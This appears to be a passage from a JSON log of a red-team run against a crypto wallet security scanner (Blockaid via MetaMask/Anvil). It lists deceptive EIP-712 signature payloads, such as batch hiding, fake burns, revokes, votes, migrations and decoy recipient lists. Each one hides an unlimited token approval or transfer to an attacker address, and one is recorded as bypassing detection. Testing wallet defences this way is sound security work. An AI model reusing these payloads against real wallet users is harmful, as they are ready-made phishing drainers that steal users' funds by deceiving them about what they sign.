"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T17:23:42.113Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T17:23:51.311Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T17:24:00.523Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T17:24:09.717Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T17:24:18.918Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T17:24:28.138Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true } }, { "id": "DECOY-002", "timestamp": "2026-01-31T17:24:37.460Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T17:24:46.666Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T17:24:55.875Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T17:25:05.138Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T17:25:14.348Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T17:25:23.584Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T17:25:32.782Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "RUN28-EIP3009-022", "timestamp": "2026-01-31T17:25:42.096Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xfc348762aa7973024055cc9958133fe29524f375f0af938e46f058f179715509\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN28-EIP3009-054", "timestamp": "2026-01-31T17:25:48.646Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x3cc7af863a2e6fa4febf95934cec23f139e1e84192ed2764e0220d41be0ead98\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Execution reverted with reason: ERC20: transfer amount exceeds balance.\n\nRaw Call Arguments:\n from: 0x027821c81bc29f8860e7a17ab759ed000c97f178\n to: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\n d" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T17:25:58.327Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T17:26:07.527Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T17:26:16.696Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T17:26:25.914Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 